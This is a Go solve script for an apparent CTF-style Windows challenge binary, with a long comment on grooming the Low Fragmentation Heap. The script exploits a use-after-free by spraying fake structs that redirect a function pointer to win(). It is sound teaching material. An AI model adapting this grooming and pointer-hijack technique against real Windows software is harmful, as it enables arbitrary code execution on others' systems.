/* Solve script for heap_lfh.exe (see src/heap_lfh.c): a use-after-free on a real, explicitly-LFH-mode Windows heap (HeapCompatibilityInformation=2), not a simulation. The grooming trick, found empirically while building this example (see USAGE.md's "Walkthrough 3" for the full story): LFH only reuses a freed slot quickly if it's freed from the *currently active* subsegment, which in practice means the *most recently allocated* same-size object. Freeing an early one can fail to come back for tens of thousands of attempts; freeing the last one allocated reliably reuses within a handful of allocations (1-16 in repeated empirical runs on this machine/OS build). So: allocate a few filler notes, allocate the victim note *last*, free it, then spray 32-byte buffers (each containing a fake onPrint pointing at win()) until the leaked address of a spray matches the victim's leaked address -- then call P on the victim id. The spray/retry loop itself is winpwn.SprayAndFind (spray.go), not hand-rolled here -- examples/heap_segment needed the same shape (spray N times, look for a match against known samples) for a structurally different relation, which is exactly the "third copy-paste" signal that means it belongs in the library, not a script. NOTE FOR TASK AUTHORS (not specific to this task -- read this before designing your own heap challenge): every numeric "fact" this solve script or its USAGE.md walkthrough states about LFH's behavior (attempt counts, "most recently allocated reuses reliably") was measured empirically on one specific Windows build/patch level, on one machine, today. LFH's internal bucket layout, subsegment sizing, and reuse heuristics are NOT a stable public contract -- they have changed across Windows versions before and can again. If you reuse this technique on a different build (or even a different machine), re-run the grooming experiment yourself (spray N, free one, spray replacements, count attempts-to-reuse) before trusting any specific number from this file or relying on "free the last one" as if it were guaranteed forever. Treat every offset/heuristic in a heap task as something to verify against *your actual target*, not something to copy from someone else's writeup. */ package main import ( "bytes" "fmt" "log" "strconv" "strings" "winpwn" ) // parseAddr extracts the "0x..." hex value following "addr=" in a line // like "OK id=5 addr=0x0000000000aa08e0". func parseAddr(line []byte) (uint64, error) { idx := bytes.Index(line, []byte("addr=0x")) if idx == -1 { return 0, fmt.Errorf("no addr= in line %q", line) } hexPart := line[idx+len("addr=0x"):] hexPart = bytes.TrimSpace(hexPart) return strconv.ParseUint(string(hexPart), 16, 64) } func main() { pf, err := winpwn.OpenPE("heap_lfh.exe") if err != nil { log.Fatalf("OpenPE: %v", err) } winRVA, err := pf.GetProcAddress("win") if err != nil { log.Fatalf("win() not found: %v", err) } base, err := pf.ImageBase() if err != nil { log.Fatalf("ImageBase: %v", err) } winAddr := base + winRVA pf.Close() fmt.Printf("[+] win() address: 0x%X\n", winAddr) tube, err := winpwn.Spawn("heap_lfh.exe") if err != nil { log.Fatalf("Spawn: %v", err) } if _, err := tube.RecvLine(); err != nil { // "heap_lfh ready" log.Fatalf("RecvLine: %v", err) } // A few filler notes (any of these could be freed and would NOT // reliably come back quickly -- that's the empirical finding). for i := 0; i < 5; i++ { if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil { log.Fatalf("SendLine: %v", err) } if _, err := tube.RecvLine(); err != nil { log.Fatalf("RecvLine: %v", err) } } // The victim note: allocated *last*, so its slot belongs to the // subsegment LFH is still actively issuing from. if err := tube.SendLine([]byte("A victim")); err != nil { log.Fatalf("SendLine: %v", err) } resp, err := tube.RecvLine() if err != nil { log.Fatalf("RecvLine: %v", err) } victimAddr, err := parseAddr(resp) if err != nil { log.Fatalf("parse victim addr: %v", err) } victimID := 5 fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr) if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil { log.Fatalf("SendLine: %v", err) } if _, err := tube.RecvLine(); err != nil { log.Fatalf("RecvLine: %v", err) } // Fake Note{ title[24], onPrint }: 24 bytes of filler (never read once // onPrint is redirected) + win()'s address where onPrint lives. payload := bytes.Repeat([]byte{0x41}, 24) payload = append(payload, winpwn.P64(winAddr)...) payloadHex := winpwn.Enhex(payload) // winpwn.SprayAndFind seeded with the one known target (the freed // victim's leaked address): every spray attempt is checked against it, // stopping the moment a replacement reuses that exact slot. const maxAttempts = 64 victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr} _, _, attempts, ok, err := winpwn.SprayAndFind( []winpwn.SprayResult[uint64]{victim}, maxAttempts, func(attempt int) (winpwn.SprayResult[uint64], error) { if err := tube.SendLine([]byte("B " + payloadHex)); err != nil { return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err) } resp, err := tube.RecvLine() if err != nil { return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err) } if !strings.HasPrefix(string(resp), "OK") { return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp) } addr, err := parseAddr(resp) return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err }, func(a, b uint64) bool { return a == b }, ) if err != nil { log.Fatalf("spray: %v", err) } if !ok { log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts) } fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts) if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil { log.Fatalf("SendLine: %v", err) } tube.Interactive() }